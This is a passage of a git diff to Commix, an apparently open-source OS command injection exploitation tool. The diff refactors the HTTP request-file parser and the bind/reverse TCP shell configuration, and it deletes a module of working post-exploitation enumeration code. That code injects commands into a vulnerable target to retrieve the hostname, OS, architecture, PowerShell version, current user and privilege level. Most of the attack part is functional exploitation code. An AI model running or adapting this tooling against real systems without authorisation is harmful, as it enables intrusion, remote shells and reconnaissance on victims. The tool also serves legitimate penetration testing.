settings.RAW_HTTP_HEADERS[:-1] - settings.RAW_HTTP_HEADERS = '\\n'.join(settings.RAW_HTTP_HEADERS) - except IOError as err_msg: - error_msg = "The '" + request_file + "' " - error_msg += str(err_msg.args[1]).lower() + "." - print(settings.SINGLE_WHITESPACE) - print(settings.print_critical_msg(error_msg)) - raise SystemExit() - + try: if os.stat(request_file).st_size != 0: - with open(request_file, 'r') as file: + with open(request_file, encoding=settings.DEFAULT_CODEC) as file: request = file.read() else: invalid_data(request_file) - single_request = True - pattern = r'HTTP/([\d.]+)' - if len(re.findall(pattern, request)) > 1: - single_request = multi_requests() + if menu.options.requestfile or menu.options.logfile: + c = 1 + request_headers = [] + request_lines = request.split("\n") + while c < len(request_lines) and len(request_lines[c]) > 0: + x = request_lines[c].find(':') + header_name = request_lines[c][:x].title() + header_value = request_lines[c][x + 1:] + if menu.options.header: + request_headers.append(menu.options.header) + elif menu.options.headers: + request_headers.extend(menu.options.headers.split("\\n")) + request_headers.append(header_name + ":" + header_value) + c += 1 + c += 1 + menu.options.data = "".join(request_lines[c:] if c < len(request_lines) else "") + settings.RAW_HTTP_HEADERS = '\\n'.join(request_headers) + + except IOError as err_msg: + error_msg = "The '" + request_file + "' " + error_msg += str(err_msg.args[1]).lower() + "." + settings.print_data_to_stdout(settings.print_critical_msg(error_msg)) + raise SystemExit() - if len(settings.HTTP_METHOD) == 0: - http_method = request.strip().splitlines()[0].split()[0] - settings.HTTP_METHOD = http_method - else: - http_method = settings.HTTP_METHOD - - if "\\n" in request: - request = request.replace("\\n","\n") - request_url = re.findall(r"" + " (.*) HTTP/", request) - - if request_url: - # Check last line for POST data - if len(request.splitlines()[-1]) != 0: - result = [item for item in request.splitlines() if item] - multiple_xml = [] - for item in result: - if checks.is_XML_check(item): - multiple_xml.append(item) - if len(multiple_xml) != 0: - menu.options.data = '\n'.join([str(item) for item in multiple_xml]) - else: - menu.options.data = result[len(result)-1] - else: - try: - # Check if url ends with "=". - if request_url[0].endswith("="): - request_url = request_url[0].replace("=","=" + settings.INJECT_TAG, 1) - except IndexError: - invalid_data(request_file) - - # Check if invalid data - if not request_url: - invalid_data(request_file) - else: - request_url = "".join([str(i) for i in request_url]) - - # Check for other headers - extra_headers = "" - prefix = "http://" - for line in request.splitlines(): - if re.findall(r"Host: " + "(.*)", line): - menu.options.host = "".join([str(i) for i in re.findall(r"Host: " + "(.*)", line)]) - # User-Agent Header - elif re.findall(r"User-Agent: " + "(.*)", line) and not (menu.options.agent or menu.options.mobile): - menu.options.agent = "".join([str(i) for i in re.findall(r"User-Agent: " + "(.*)", line)]) - # Cookie Header - elif re.findall(r"Cookie: " + "(.*)", line): - menu.options.cookie = "".join([str(i) for i in re.findall(r"Cookie: " + "(.*)", line)]) - # Referer Header - elif re.findall(r"Referer: " + "(.*)", line): - menu.options.referer = "".join([str(i) for i in re.findall(r"Referer: " + "(.*)", line)]) - if menu.options.referer and "https://" in menu.options.referer: - prefix = "https://" - elif re.findall(r"Authorization: " + "(.*)", line): - auth_provided = "".join([str(i) for i in re.findall(r"Authorization: " + "(.*)", line)]).split() + single_request = True + pattern = r'HTTP/([\d.]+)' + if len(re.findall(pattern, request)) > 1: + single_request = multi_requests() + + if len(settings.HTTP_METHOD) == 0: + http_method = request.strip().splitlines()[0].split()[0] + settings.HTTP_METHOD = http_method + else: + http_method = settings.HTTP_METHOD + + request_url = re.findall(r"" + " (.*)" + " HTTP/", request) + + if not request_url: + invalid_data(request_file) + + request_url = "".join([str(i) for i in request_url]) + # Check for other headers + extra_headers = "" + scheme = "http://" + + for line in request_headers: + if re.findall(r"^" + settings.HOST + ":" + " (.*)", line): + menu.options.host = "".join([str(i) for i in re.findall(r"" + settings.HOST + ":" + " (.*)", line)]) + # User-Agent Header + if re.findall(r"" + settings.USER_AGENT + ":" + " (.*)", line): + menu.options.agent = "".join([str(i) for i in re.findall(r"" + settings.USER_AGENT + ":" + " (.*)", line)]) + # Cookie Header + if re.findall(r"" + settings.COOKIE + ":" + " (.*)", line): + menu.options.cookie = "".join([str(i) for i in re.findall(r"" + settings.COOKIE + ":" + " (.*)", line)]) + # Referer Header + if re.findall(r"" + settings.REFERER + ":" + " (.*)", line): + menu.options.referer = "".join([str(i) for i in re.findall(r"" + settings.REFERER + ":" + " (.*)", line)]) + if menu.options.referer and "https://" in menu.options.referer: + scheme = "https://" + if re.findall(r"" + settings.AUTHORIZATION + ":" + " (.*)", line): + auth_provided = "".join([str(i) for i in re.findall(r"" + settings.AUTHORIZATION + ":" + " (.*)", line)]).split() + if auth_provided: menu.options.auth_type = auth_provided[0].lower() - if menu.options.auth_type == "basic": - menu.options.auth_cred = base64.b64decode(auth_provided[1]).decode() - elif menu.options.auth_type == "digest": + if menu.options.auth_type.lower() == settings.AUTH_TYPE.BASIC: + # menu.options.auth_cred = base64.b64decode(auth_provided[1]).decode() + try: + # Add base64 padding if missing + b64_string = auth_provided[1] + b64_string += '=' * (-len(b64_string) % 4) + menu.options.auth_cred = base64.b64decode(b64_string).decode() + except (binascii.Error, UnicodeDecodeError) as e: + err_msg = "Invalid base64-encoded credentials provided in Authorization header: " + format(str(e)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) + raise SystemExit() + + elif menu.options.auth_type.lower() == settings.AUTH_TYPE.DIGEST: if not menu.options.auth_cred: - print(settings.SINGLE_WHITESPACE) err_msg = "Use the '--auth-cred' option to provide a valid pair of " err_msg += "HTTP authentication credentials (i.e --auth-cred=\"admin:admin\") " - print(settings.print_critical_msg(err_msg)) + settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) raise SystemExit() - # Add extra headers - else: - match = re.findall(r"(.*): (.*)", line) - match = "".join([str(i) for i in match]).replace("', '",":") - match = match.replace("('","") - match = match.replace("')","\\n") - # Ignore some header. - if "Content-Length" or "Accept-Encoding" in match: - extra_headers = extra_headers - else: - extra_headers = extra_headers + match - - # Extra headers - menu.options.headers = extra_headers - - # Target URL - if not menu.options.host: - invalid_data(request_file) + # Add extra headers else: - menu.options.url = prefix + menu.options.host + request_url - if single_request: - sys.stdout.write(settings.SUCCESS_STATUS + "\n") - sys.stdout.flush() - if menu.options.logfile: - info_msg = "Parsed target from '" + os.path.split(request_file)[1] + "' for tests :" - print(settings.print_info_msg(info_msg)) - sub_content = http_method + " " + prefix + menu.options.host + request_url - print(settings.print_sub_content(sub_content)) - if menu.options.data: - sub_content = "Data: " + menu.options.data - print(settings.print_sub_content(sub_content)) + match = re.findall(r"(.*): (.*)", line) + match = "".join([str(i) for i in match]).replace("', '",":") + match = match.replace("('", "") + match = match.replace("')","\\n") + # Ignore some header. + if settings.CONTENT_LENGTH or settings.ACCEPT_ENCODING in match: + extra_headers = extra_headers + else: + extra_headers = extra_headers + match + + # Extra headers + menu.options.headers = extra_headers + + # Target URL + if not menu.options.host: + invalid_data(request_file) + else: + if len(_urllib.parse.urlparse(request_url).scheme) == 0: + request_url = scheme + request_url + if not menu.options.host in request_url: + request_url = request_url.replace(scheme, scheme + menu.options.host) + request_url = checks.check_http_s(request_url) + info_msg += "using the '" + os.path.split(request_file)[1] + "' file. " + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + + menu.options.url = request_url + if menu.options.logfile and settings.VERBOSITY_LEVEL != 0: + sub_content = http_method + settings.SINGLE_WHITESPACE + menu.options.url + settings.print_data_to_stdout(settings.print_sub_content(sub_content)) + if menu.options.cookie: + sub_content = "Cookie: " + menu.options.cookie + settings.print_data_to_stdout(settings.print_sub_content(sub_content)) + if menu.options.data: + sub_content = "POST data: " + menu.options.data + settings.print_data_to_stdout(settings.print_sub_content(sub_content)) # eof \ No newline at end of file diff --git a/src/core/injections/controller/shell_options.py b/src/core/injections/controller/shell_options.py index 1837647ee2..d99990a901 100755 --- a/src/core/injections/controller/shell_options.py +++ b/src/core/injections/controller/shell_options.py @@ -3,13 +3,13 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -25,82 +25,55 @@ from src.core.injections.controller import checks from src.thirdparty.six.moves import urllib as _urllib from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.injections.results_based.techniques.classic import cb_injector -from src.core.injections.results_based.techniques.eval_based import eb_injector -from src.core.injections.semiblind.techniques.file_based import fb_injector - -""" -Check for established connection -""" -def check_established_connection(): - while True: - time.sleep(1) - if settings.VERBOSITY_LEVEL == 1: - print(settings.SINGLE_WHITESPACE) - warn_msg = "Something went wrong with the reverse TCP connection." - warn_msg += " Please wait while checking state." - print(settings.print_warning_msg(warn_msg)) - lines = os.popen('netstat -anta').read().split("\n") - for line in lines: - if settings.LHOST + ":" + settings.LPORT in line and "ESTABLISHED" in line: - pass - else: - return """ Execute the bind / reverse TCP shell """ -def execute_shell(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, payload, OUTPUT_TEXTFILE): - if settings.EVAL_BASED_STATE != False: +def execute_shell(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, timesec, payload, OUTPUT_TEXTFILE, technique): + + if technique == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + from src.core.injections.results_based.techniques.eval_based import eb_injector as injector # Command execution results. start = time.time() - response = eb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) end = time.time() diff = end - start # Evaluate injection results. - shell = eb_injector.injection_results(response, TAG, cmd) + shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) else: # Command execution results. start = time.time() - if settings.FILE_BASED_STATE == True: - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + if technique == settings.INJECTION_TECHNIQUE.FILE_BASED or technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: + from src.core.injections.semiblind.techniques.file_based import fb_injector as injector + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, technique) else: + from src.core.injections.results_based.techniques.classic import cb_injector as injector whitespace = settings.WHITESPACES[0] - if whitespace == " ": - whitespace = _urllib.parse.quote(whitespace) - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) + if whitespace == settings.SINGLE_WHITESPACE: + whitespace = _urllib.parse.quote(whitespace) + response = injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique) end = time.time() diff = end - start # Evaluate injection results. - shell = cb_injector.injection_results(response, TAG, cmd) - - if settings.REVERSE_TCP and (int(diff) > 0 and int(diff) < 6): - check_established_connection() - else: - if settings.VERBOSITY_LEVEL == 1: - print(settings.SINGLE_WHITESPACE) - - err_msg = "The " + os_shell_option.split("_")[0] + " " - err_msg += os_shell_option.split("_")[1].upper() + " connection has failed." - print(settings.print_critical_msg(err_msg)) + shell = injector.injection_results(response, TAG, cmd, technique, url, OUTPUT_TEXTFILE, timesec) """ Configure the bind TCP shell """ -def bind_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE): +def bind_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, timesec, payload, OUTPUT_TEXTFILE, technique): settings.BIND_TCP = True # Set up RHOST / LPORT for the bind TCP connection. bind_tcp.configure_bind_tcp(separator) if settings.BIND_TCP == False: if settings.REVERSE_TCP == True: os_shell_option = "reverse_tcp" - reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE) + reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, timesec, payload, OUTPUT_TEXTFILE, technique) return go_back, go_back_again while True: if settings.RHOST and settings.LPORT in settings.SHELL_OPTIONS: result = checks.check_bind_tcp_options(settings.RHOST) - else: + else: cmd = bind_tcp.bind_tcp_options(separator) result = checks.check_bind_tcp_options(cmd) if result != None: @@ -111,29 +84,29 @@ def bind_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_reques settings.BIND_TCP = False elif result == 3: settings.BIND_TCP = False - reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE) + reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, timesec, payload, OUTPUT_TEXTFILE, technique) return go_back, go_back_again - # execute bind TCP shell - execute_shell(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, payload, OUTPUT_TEXTFILE) + # execute bind TCP shell + execute_shell(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, timesec, payload, OUTPUT_TEXTFILE, technique) """ Configure the reverse TCP shell """ -def reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE): +def reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, timesec, payload, OUTPUT_TEXTFILE, technique): settings.REVERSE_TCP = True # Set up LHOST / LPORT for the reverse TCP connection. reverse_tcp.configure_reverse_tcp(separator) if settings.REVERSE_TCP == False: if settings.BIND_TCP == True: os_shell_option = "bind_tcp" - bind_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE) + bind_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, timesec, payload, OUTPUT_TEXTFILE, technique) return go_back, go_back_again while True: if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS: result = checks.check_reverse_tcp_options(settings.LHOST) - else: + else: cmd = reverse_tcp.reverse_tcp_options(separator) result = checks.check_reverse_tcp_options(cmd) if result != None: @@ -144,18 +117,18 @@ def reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_req settings.REVERSE_TCP = False elif result == 3: settings.REVERSE_TCP = False - bind_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE) - #reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again) + bind_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, timesec, payload, OUTPUT_TEXTFILE, technique) + #reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again) return go_back, go_back_again - # execute reverse TCP shell - execute_shell(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, payload, OUTPUT_TEXTFILE) + # execute reverse TCP shell + execute_shell(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, timesec, payload, OUTPUT_TEXTFILE, technique) """ Check commix shell options """ def check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE): - os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result) + os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result) if os_shell_option == "back" or os_shell_option == True or os_shell_option == False: go_back = True @@ -164,25 +137,24 @@ def check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_m return go_back, go_back_again # The "os_shell" option - elif os_shell_option == "os_shell": - warn_msg = "You are already into the '" + os_shell_option + "' mode." - print(settings.print_warning_msg(warn_msg)) + elif os_shell_option == "os_shell": + warn_msg = "You are into the '" + os_shell_option + "' mode." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) return go_back, go_back_again # The "bind_tcp" option elif os_shell_option == "bind_tcp": - go_back, go_back_again = bind_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE) + go_back, go_back_again = bind_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, timesec, payload, OUTPUT_TEXTFILE, technique) return go_back, go_back_again # The "reverse_tcp" option elif os_shell_option == "reverse_tcp": - go_back, go_back_again = reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, payload, OUTPUT_TEXTFILE) + go_back, go_back_again = reverse_tcp_config(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, os_shell_option, go_back, go_back_again, timesec, payload, OUTPUT_TEXTFILE, technique) return go_back, go_back_again - # The "quit" option - elif os_shell_option == "quit": - logs.print_logs_notification(filename, url) - raise SystemExit() + # The "quit" / "exit" options + elif os_shell_option == "quit" or os_shell_option == "exit": + checks.quit(filename, url, _ = True) else: return go_back, go_back_again diff --git a/src/core/injections/results_based/__init__.py b/src/core/injections/results_based/__init__.py index b50e6972c9..4a4e6d4eec 100644 --- a/src/core/injections/results_based/__init__.py +++ b/src/core/injections/results_based/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/__init__.py b/src/core/injections/results_based/techniques/__init__.py index b50e6972c9..4a4e6d4eec 100644 --- a/src/core/injections/results_based/techniques/__init__.py +++ b/src/core/injections/results_based/techniques/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/classic/__init__.py b/src/core/injections/results_based/techniques/classic/__init__.py index b50e6972c9..4a4e6d4eec 100644 --- a/src/core/injections/results_based/techniques/classic/__init__.py +++ b/src/core/injections/results_based/techniques/classic/__init__.py @@ -3,7 +3,7 @@ """ This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). +Copyright (c) 2014-2025 Anastasios Stasinopoulos (@ancst). This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by diff --git a/src/core/injections/results_based/techniques/classic/cb_enumeration.py b/src/core/injections/results_based/techniques/classic/cb_enumeration.py deleted file mode 100755 index 80f3bafa09..0000000000 --- a/src/core/injections/results_based/techniques/classic/cb_enumeration.py +++ /dev/null @@ -1,591 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2021 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" -import re -import sys -from src.thirdparty.six.moves import urllib as _urllib -from src.utils import logs -from src.utils import menu -from src.utils import settings -from src.utils import session_handler -from src.core.injections.controller import checks -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.requests import requests -from src.core.injections.results_based.techniques.classic import cb_injector - -""" -The "classic" technique on result-based OS command injection. -""" - -""" -Powershell's version number enumeration (for Windows OS) -""" -def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - cmd = settings.PS_VERSION - if alter_shell: - cmd = cmd.replace("'","\\'") - # Evaluate injection results. - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - ps_version = cb_injector.injection_results(response, TAG, cmd) - ps_version = "".join(str(p) for p in ps_version) - session_handler.store_cmd(url, cmd, ps_version, vuln_parameter) - else: - ps_version = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - try: - if float(ps_version): - settings.PS_ENABLED = True - # Output PowerShell's version number - info_msg = "The PowerShell's version number is " - info_msg += ps_version + Style.RESET_ALL + Style.BRIGHT - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - info_msg = "The PowerShell's version number is " + ps_version + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - except ValueError: - warn_msg = "Heuristics have failed to identify the version of Powershell, " - warn_msg += "which means that some payloads or injection techniques may be failed." - print(settings.print_warning_msg(warn_msg)) - settings.PS_ENABLED = False - checks.ps_check_failed() - -""" -Hostname enumeration -""" -def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - if settings.TARGET_OS == "win": - settings.HOSTNAME = settings.WIN_HOSTNAME - cmd = settings.HOSTNAME - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - shell = cb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell) - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if shell: - shell = "".join(str(p) for p in shell) - info_msg = "The hostname is " + str(shell) - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - info_msg = "The hostname is " + str(shell) + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "Heuristics have failed to identify the hostname." - print(settings.print_warning_msg(warn_msg)) - -""" -Retrieve system information -""" -def system_information(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - if settings.TARGET_OS == "win": - settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS - cmd = settings.RECOGNISE_OS - if settings.TARGET_OS == "win": - if alter_shell: - cmd = "cmd /c " + cmd - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - target_os = cb_injector.injection_results(response, TAG, cmd) - target_os = "".join(str(p) for p in target_os) - session_handler.store_cmd(url, cmd, target_os, vuln_parameter) - else: - target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if target_os: - target_os = "".join(str(p) for p in target_os) - if settings.TARGET_OS != "win": - cmd = settings.DISTRO_INFO - if settings.USE_BACKTICKS: - cmd = cmd.replace("echo $(","").replace(")","") - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - distro_name = cb_injector.injection_results(response, TAG, cmd) - distro_name = "".join(str(p) for p in distro_name) - if len(distro_name) != 0: - target_os = target_os + " (" + distro_name + ")" - session_handler.store_cmd(url, cmd, target_os, vuln_parameter) - else: - target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if settings.TARGET_OS == "win": - cmd = settings.WIN_RECOGNISE_HP - else: - cmd = settings.RECOGNISE_HP - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - target_arch = cb_injector.injection_results(response, TAG, cmd) - target_arch = "".join(str(p) for p in target_arch) - session_handler.store_cmd(url, cmd, target_arch, vuln_parameter) - else: - target_arch = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if target_arch: - info_msg = "The target operating system is " + str(target_os) + Style.RESET_ALL - info_msg += Style.BRIGHT + " and the hardware platform is " + str(target_arch) - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - info_msg = "The target operating system is " + str(target_os) - info_msg += " and the hardware platform is " + str(target_arch) + ".\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "Heuristics have failed to retrieve the system information." - print(settings.print_warning_msg(warn_msg)) - -""" -The current user enumeration -""" -def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): - if settings.TARGET_OS == "win": - settings.CURRENT_USER = settings.WIN_CURRENT_USER - cmd = settings.CURRENT_USER - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - cu_account = cb_injector.injection_results(response, TAG, cmd) - cu_account = "".join(str(p) for p in cu_account) - session_handler.store_cmd(url, cmd, cu_account, vuln_parameter) - else: - cu_account = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if cu_account: - cu_account = "".join(str(p) for p in cu_account) - # Check if the user have super privileges. - if menu.options.is_root or menu.options.is_admin: - if settings.TARGET_OS == "win": - cmd = settings.IS_ADMIN - else: - cmd = settings.IS_ROOT - if settings.USE_BACKTICKS: - cmd = cmd.replace("echo $(","").replace(")","") - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - shell = cb_injector.injection_results(response, TAG, cmd) - shell = "".join(str(p) for p in shell).replace(" ", "", 1)[:-1] - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - info_msg = "The current user is " + str(cu_account) - sys.stdout.write(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - info_msg = "The current user is " + cu_account - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - if shell: - if (settings.TARGET_OS == "win" and not "Admin" in shell) or \ - (settings.TARGET_OS != "win" and shell != "0"): - sys.stdout.write(Style.BRIGHT + " and it is " + "not" + Style.RESET_ALL + Style.BRIGHT + " privileged" + Style.RESET_ALL + ".\n") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(" and it is not privileged.\n") - output_file.close() - else: - sys.stdout.write(Style.BRIGHT + " and it is " + Style.RESET_ALL + Style.BRIGHT + "privileged" + Style.RESET_ALL + ".\n") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - output_file.write(" and it is privileged.\n") - output_file.close() - else: - info_msg = "The current user is " + str(cu_account) - sys.stdout.write(settings.print_bold_info_msg(info_msg) + ".\n") - sys.stdout.flush() - # Add infos to logs file. - output_file = open(filename, "a") - info_msg = "The current user is " + cu_account 